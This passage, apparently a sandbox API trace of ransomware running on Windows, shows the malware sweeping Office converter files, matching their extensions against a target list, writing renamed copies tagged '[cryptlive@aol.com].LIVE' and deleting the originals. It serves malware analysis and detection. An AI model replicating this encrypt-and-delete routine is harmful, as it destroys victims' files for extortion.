Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.042] lstrlenW (lpString=".1cd") returned 4 [0153.042] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0153.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.042] lstrlenW (lpString=".jpg") returned 4 [0153.042] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0153.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.042] lstrlenW (lpString=".doc") returned 4 [0153.042] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0153.042] lstrlenW (lpString=".docx") returned 5 [0153.042] lstrcmpiW (lpString1=".docx", lpString2="C.SAM") returned -1 [0153.042] lstrlenW (lpString=".pdf") returned 4 [0153.042] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0153.042] lstrlenW (lpString=".xls") returned 4 [0153.042] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0153.042] lstrlenW (lpString=".xlsx") returned 5 [0153.042] lstrcmpiW (lpString1=".xlsx", lpString2="C.SAM") returned -1 [0153.042] lstrlenW (lpString=".ppt") returned 4 [0153.042] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0153.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.043] lstrlenW (lpString=".zip") returned 4 [0153.043] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0153.043] lstrlenW (lpString=".rar") returned 4 [0153.043] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0153.043] lstrlenW (lpString=".bz2") returned 4 [0153.043] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0153.043] lstrlenW (lpString=".7z") returned 3 [0153.043] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0153.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.043] lstrlenW (lpString=".dbf") returned 4 [0153.043] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0153.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.043] lstrlenW (lpString=".1cd") returned 4 [0153.043] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0153.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ODBC.SAM") returned 59 [0153.043] lstrlenW (lpString=".jpg") returned 4 [0153.043] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0153.043] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0153.043] lstrlenW (lpString="OLADD.FAE") returned 9 [0153.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0153.067] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=133024) returned 1 [0153.067] CloseHandle (hObject=0x3a0) returned 1 [0153.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae")) returned 0x20 [0153.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0153.081] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.081] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0153.082] GetLastError () returned 0x0 [0153.082] ReadFile (in: hFile=0x3b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x207a0, lpOverlapped=0x0) returned 1 [0153.087] WriteFile (in: hFile=0x1b0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x207b0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x207b0, lpOverlapped=0x0) returned 1 [0153.090] ReadFile (in: hFile=0x3b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.090] WriteFile (in: hFile=0x1b0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0153.090] SetEndOfFile (hFile=0x1b0) returned 1 [0153.090] CloseHandle (hObject=0x1b0) returned 1 [0153.090] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.090] SetEndOfFile (hFile=0x3b4) returned 1 [0153.094] CloseHandle (hObject=0x3b4) returned 1 [0153.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oladd.fae")) returned 1 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.096] lstrlenW (lpString=".doc") returned 4 [0153.096] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0153.096] lstrlenW (lpString=".docx") returned 5 [0153.096] lstrcmpiW (lpString1=".docx", lpString2="D.FAE") returned -1 [0153.096] lstrlenW (lpString=".pdf") returned 4 [0153.096] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0153.096] lstrlenW (lpString=".xls") returned 4 [0153.096] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0153.096] lstrlenW (lpString=".xlsx") returned 5 [0153.096] lstrcmpiW (lpString1=".xlsx", lpString2="D.FAE") returned -1 [0153.096] lstrlenW (lpString=".ppt") returned 4 [0153.096] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.096] lstrlenW (lpString=".zip") returned 4 [0153.096] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0153.096] lstrlenW (lpString=".rar") returned 4 [0153.096] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0153.096] lstrlenW (lpString=".bz2") returned 4 [0153.096] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0153.096] lstrlenW (lpString=".7z") returned 3 [0153.096] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.096] lstrlenW (lpString=".dbf") returned 4 [0153.096] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.096] lstrlenW (lpString=".1cd") returned 4 [0153.096] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.096] lstrlenW (lpString=".jpg") returned 4 [0153.096] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.096] lstrlenW (lpString=".doc") returned 4 [0153.097] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0153.097] lstrlenW (lpString=".docx") returned 5 [0153.097] lstrcmpiW (lpString1=".docx", lpString2="D.FAE") returned -1 [0153.097] lstrlenW (lpString=".pdf") returned 4 [0153.097] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0153.097] lstrlenW (lpString=".xls") returned 4 [0153.097] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0153.097] lstrlenW (lpString=".xlsx") returned 5 [0153.097] lstrcmpiW (lpString1=".xlsx", lpString2="D.FAE") returned -1 [0153.097] lstrlenW (lpString=".ppt") returned 4 [0153.097] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0153.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.097] lstrlenW (lpString=".zip") returned 4 [0153.097] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0153.097] lstrlenW (lpString=".rar") returned 4 [0153.097] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0153.097] lstrlenW (lpString=".bz2") returned 4 [0153.097] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0153.097] lstrlenW (lpString=".7z") returned 3 [0153.097] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0153.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.097] lstrlenW (lpString=".dbf") returned 4 [0153.097] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0153.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.097] lstrlenW (lpString=".1cd") returned 4 [0153.097] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0153.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLADD.FAE") returned 60 [0153.097] lstrlenW (lpString=".jpg") returned 4 [0153.097] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0153.097] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0153.097] lstrlenW (lpString="OLAPPT.FAE") returned 10 [0153.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0153.098] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=122280) returned 1 [0153.098] CloseHandle (hObject=0x3b4) returned 1 [0153.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae")) returned 0x20 [0153.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0153.099] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.099] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0153.099] GetLastError () returned 0x0 [0153.099] ReadFile (in: hFile=0x3b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x1dda8, lpOverlapped=0x0) returned 1 [0153.103] WriteFile (in: hFile=0x1b0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x1ddb0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x1ddb0, lpOverlapped=0x0) returned 1 [0153.106] ReadFile (in: hFile=0x3b4, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.106] WriteFile (in: hFile=0x1b0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0153.106] SetEndOfFile (hFile=0x1b0) returned 1 [0153.106] CloseHandle (hObject=0x1b0) returned 1 [0153.106] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.106] SetEndOfFile (hFile=0x3b4) returned 1 [0153.110] CloseHandle (hObject=0x3b4) returned 1 [0153.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae")) returned 1 [0153.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.115] lstrlenW (lpString=".doc") returned 4 [0153.115] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0153.115] lstrlenW (lpString=".docx") returned 5 [0153.116] lstrcmpiW (lpString1=".docx", lpString2="T.FAE") returned -1 [0153.116] lstrlenW (lpString=".pdf") returned 4 [0153.116] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0153.116] lstrlenW (lpString=".xls") returned 4 [0153.116] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0153.116] lstrlenW (lpString=".xlsx") returned 5 [0153.116] lstrcmpiW (lpString1=".xlsx", lpString2="T.FAE") returned -1 [0153.116] lstrlenW (lpString=".ppt") returned 4 [0153.116] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0153.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.116] lstrlenW (lpString=".zip") returned 4 [0153.116] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0153.116] lstrlenW (lpString=".rar") returned 4 [0153.116] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0153.116] lstrlenW (lpString=".bz2") returned 4 [0153.116] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0153.116] lstrlenW (lpString=".7z") returned 3 [0153.116] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0153.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.116] lstrlenW (lpString=".dbf") returned 4 [0153.116] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0153.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.116] lstrlenW (lpString=".1cd") returned 4 [0153.116] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0153.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.116] lstrlenW (lpString=".jpg") returned 4 [0153.116] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0153.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.116] lstrlenW (lpString=".doc") returned 4 [0153.116] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0153.116] lstrlenW (lpString=".docx") returned 5 [0153.116] lstrcmpiW (lpString1=".docx", lpString2="T.FAE") returned -1 [0153.116] lstrlenW (lpString=".pdf") returned 4 [0153.116] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0153.117] lstrlenW (lpString=".xls") returned 4 [0153.117] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0153.117] lstrlenW (lpString=".xlsx") returned 5 [0153.117] lstrcmpiW (lpString1=".xlsx", lpString2="T.FAE") returned -1 [0153.117] lstrlenW (lpString=".ppt") returned 4 [0153.117] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0153.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.117] lstrlenW (lpString=".zip") returned 4 [0153.117] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0153.117] lstrlenW (lpString=".rar") returned 4 [0153.117] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0153.117] lstrlenW (lpString=".bz2") returned 4 [0153.117] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0153.117] lstrlenW (lpString=".7z") returned 3 [0153.117] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0153.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.117] lstrlenW (lpString=".dbf") returned 4 [0153.117] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0153.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.117] lstrlenW (lpString=".1cd") returned 4 [0153.117] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0153.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0153.117] lstrlenW (lpString=".jpg") returned 4 [0153.117] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0153.117] lstrcmpiW (lpString1=".FAE", lpString2=".LIVE") returned -1 [0153.117] lstrlenW (lpString="OLJRNL.FAE") returned 10 [0153.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.334] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=71584) returned 1 [0153.334] CloseHandle (hObject=0x1e0) returned 1 [0153.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) returned 0x20 [0153.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0153.393] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.393] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0153.394] GetLastError () returned 0x0 [0153.394] ReadFile (in: hFile=0x1b8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x117a0, lpOverlapped=0x0) returned 1 [0153.456] WriteFile (in: hFile=0x1fc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x117b0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x117b0, lpOverlapped=0x0) returned 1 [0153.459] ReadFile (in: hFile=0x1b8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0153.459] WriteFile (in: hFile=0x1fc, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0153.459] SetEndOfFile (hFile=0x1fc) returned 1 [0153.459] CloseHandle (hObject=0x1fc) returned 1 [0153.459] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0153.459] SetEndOfFile (hFile=0x1b8) returned 1 [0153.465] CloseHandle (hObject=0x1b8) returned 1 [0153.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) returned 1 [0153.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.467] lstrlenW (lpString=".doc") returned 4 [0153.467] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0153.467] lstrlenW (lpString=".docx") returned 5 [0153.467] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0153.467] lstrlenW (lpString=".pdf") returned 4 [0153.467] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0153.467] lstrlenW (lpString=".xls") returned 4 [0153.467] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0153.468] lstrlenW (lpString=".xlsx") returned 5 [0153.468] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0153.468] lstrlenW (lpString=".ppt") returned 4 [0153.468] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0153.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.468] lstrlenW (lpString=".zip") returned 4 [0153.468] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0153.468] lstrlenW (lpString=".rar") returned 4 [0153.468] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0153.468] lstrlenW (lpString=".bz2") returned 4 [0153.468] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0153.468] lstrlenW (lpString=".7z") returned 3 [0153.468] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0153.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.468] lstrlenW (lpString=".dbf") returned 4 [0153.468] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0153.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.468] lstrlenW (lpString=".1cd") returned 4 [0153.468] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0153.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.468] lstrlenW (lpString=".jpg") returned 4 [0153.469] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0153.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0153.469] lstrlenW (lpString=".doc") returned 4 [0153.469] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0153.469] lstrlenW (lpString=".docx") returned 5 [0153.469] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0153.469] lstrlenW (lpString=".pdf") returned 4 [0153.469] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0153.469] lstrlenW (lpString=".xls") returned 4 [0153.469] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0153.469] lstrlenW (lpString=".xlsx") returned 5 [0153.469] lstrcmpiW 